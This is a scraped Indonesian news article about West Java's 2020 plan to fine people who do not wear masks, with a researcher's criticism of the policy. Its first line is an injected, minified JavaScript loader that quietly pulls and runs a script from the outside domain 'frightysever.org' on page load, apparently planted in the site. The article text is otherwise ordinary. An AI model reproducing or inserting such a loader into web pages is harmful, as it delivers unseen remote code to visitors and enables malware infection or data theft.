(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
Categories: NASIONAL

Rencana Jabar Denda Warga yang Tidak Pakai Masker Dinilai Tidak Efektif


KANALKALIMANTAN.COM, BANDUNG – Gubernur Jabar Ridwan Kamil mengumumkan pemberlakukan denda akan berlaku selama 14 hari, yang dimulai pada 27 Juli. Dia mengatakan, denda ditempuh karena edukasi dan teguran tidak mampu mendisiplinkan masyarakat.

“Kita monitor laporan dari pak Kapolda, dan kita lihat sehari-hari, orang sudah cuek tidak mengenakan masker di tempat umum. Maka opsi ketiga setelah edukasi, setelah teguran, masuk denda ini akan kita lakukan,” ujarnya dalam konferensi pers di Bandung, Senin (13/7) sore.

Emil, sapaan akrabnya, mengatakan denda akan diatur dalam Pergub yang kini sedang dipersiapkan Kejaksaan Tinggi Jawa Barat. Ia pun memberikan waktu dua minggu kepada seluruh institusi di jawa barat untuk melakukan sosialisasi. Penegakkan hukum akan dilakukan Satpol PP, polisi, dan TNI.

Gubernur Jabar Ridwan Kamil dalam konferensi pers di Markas Kodam III/Siliwangi, Kota Bandung, Senin (13/7). (Foto: Humas Jabar)

 

“Kalau tidak bisa membayar denda, salah satu opsinya adalah kurungan atau kerja sosial yang finalisasinya sedang akan disiapkan oleh kejaksaan tinggi, tambahnya.

Seluruh uang yang didapat dari denda, ujar Emil, akan masuk ke kas daerah. Namun dia berharap tak banyak orang yang kena denda ini.

“Karena bukan tujuan kami mencari denda. Tujuan kami mah tidak perlu ada denda, asal kedisiplinan itu ada,” tandasnya.

Emil mengatakan, denda tidak akan berlaku bagi tiga kegiatan.

“Kalau ia sedang pidato seperti saya itu tidak harus. Kemudian sedang olahraga kardio tinggi, seperti lari kencang atau sepeda kencang, itu diizinkan tidak pakai. Kemudian makan di ruang publik itu juga dibolehkan. Di luar itu akan ada denda,” jelasnya.

Para petugas kesehatan sedang melakukan tes usap (swab test) Covid-19 terhadap 28 orang yang tinggal di dalam kompleks Sekolah Calon Perwira Angkatan Darat (Secapa AD), di Bandung, Sabtu, 11 Juli 2020. (Foto: AFP)

Ketika ditanya apakah denda berlaku bagi yang berkerumun, dia mengatakan tidak.

Efektivitas Dipertanyakan

Peneliti Kesehatan Masyarakat, Irma Hidayani, mengatakan meski langkah itu perlu diapresiasi, efektivitasnya perlu dipertanyakan.

Irma mencontohkan, sejumlah negara seperti Italia berhasil mengurangi tingkat penularan Covid-19 dengan denda. Namun dendanya sangat besar dan semakin besar ketika orang yang sama melanggar berulang kali.

Menurut Irma, denda masker tidak akan efektif jika tidak dibarengi kebijakan yang komprehensif. Di sisi lain, pemerintah telah membuka kembali banyak kegiatan masyarakat.

“Kalau dibebaskan (berkegiatan) seperti ini, kemudian orang disuruh pakai masker, saya kira keberhasilannya sama sekali tidak akan signifikan. Kalau pun tidak ada orang yang melanggar, tetap tidak signifikan. Dan itu tidak menyelesaikan masalah penyebaran virus, ujarnya kepada VOA.

Seorang ibu memasang masker wajah untuk anaknya di dalam angkutan umum di Bogor, Jawa Barat, Rabu, 8 April 2020. (Foto: AFP)

Menurut inisiator gerakan Lapor COVID-19 ini, warga yang sedang berkerumun juga harus ditegur dan dibubarkan. Di sisi lain, pencegahan terbaik menurutnya tetaplah pembatasan sosial berskala besar (PSBB).

“Harusnya PSBB lagi lah paling enggak. Itu sebenarnya langkah pengendalian infeksi yang paling efektif, hingga obat atau vaksin itu ditemukan, ujarnya.

Di samping itu, menurut Irma, besaran denda, yaitu Rp 100 ribu – 150 ribu tidak begitu berarti bagi kelompok ekonomi menengah ke atas.

“Bagaimana dengan ketimpangan kelas itu tadi, 150 untuk kelas menengah ke atas kecil banget ya. (Beda) Kalau untuk buruh harian, yang akan rentan terkena (Covid-19),” tukasnya.

Penegakan hukum juga perlu diawasi ketat, menurut Irma. Pasalnya, ada kemungkinan terjadi pemberian sogokan kepada petugas dari warga yang melanggar. Dia mencontohkan, dalam data Lapor COVID-19, sejumlah warga mengaku pernah memberi ‘uang damai’ kepada petugas ketika terkena razia PSBB.

Denda ini diumumkan ketika Jabar mencatat 5.160 kasus positif dan 3.078 kasus di antaranya masih aktif. Jabar mengalami lonjakan 1.200-an kasus belum lama ini dari Klaster Sekolah Calon Perwira (Secapa) TNI AD di Kota Bandung. Dalam data terbaru per Senin (13/7) pagi, sebanyak 98 pasien di klaster tersebut telah dinyatakan negatif hasil tes swab ke-2. (rt/ft)

 

Reporter : Rio
Editor : Fathiyah/VOA


Desy Arfianty

Recent Posts

DED Pemasangan ATCS Tugu Adipura Masih Penyempurnaan Kajian

Kadishub Banjarbaru: Setelah Kajian Selesai, Berikutnya Perizinan BPJN dan BPTD Read More

36 menit ago

Hadiri HUT ke-44 Dekranas, Ini Kata Ketua Dekranasda HSU

KANALKALIMANTAN.COM, SOLO - Ketua Dewan Kerajinan Nasional Daerah (Dekranasda) Hulu Sungai Utara (HSU) Gusti Elvira… Read More

1 jam ago

SKPD Mengajar di SMPN 2 Banjarbaru, Wali Kota Aditya Ngajar Kelas Inspirasi

KANALKALIMANTAN.COM, BANJARBARU - Wali Kota Banjarbaru Aditya Mufti Ariffin memulai program SKPD Instansi Mengajar dengan… Read More

2 jam ago

Pastikan Kehadiran Habib Syech ke Kapuas Bersholawat 27 Juni

KANALKALIMANTAN.COM, SOLO - Penjabat (Pj) Bupati Kapuas Erlin Hardi bersilaturahmi ke kediaman Habib Syech bin… Read More

3 jam ago

Ragam Kerajinan Rotan Merah Mejeng di Expo HUT ke-44 Dekranas

KANALKALIMANTAN.COM, SOLO - Kerajinan dari rotan merah menjadi salah satu primadona yang dihadirkan Dewan Kerajinan… Read More

3 jam ago

Pj Bupati Erlin Hardi Berdialog dengan Mahasiswa Kapuas di Yogya

KANALKALIMANTAN.COM, YOGYAKARTA - Penjabat (Pj) Bupati Kapuas Erlin Hardi berdialog dengan mahasiswa asal Kabupaten Kapuas… Read More

4 jam ago

This website uses cookies.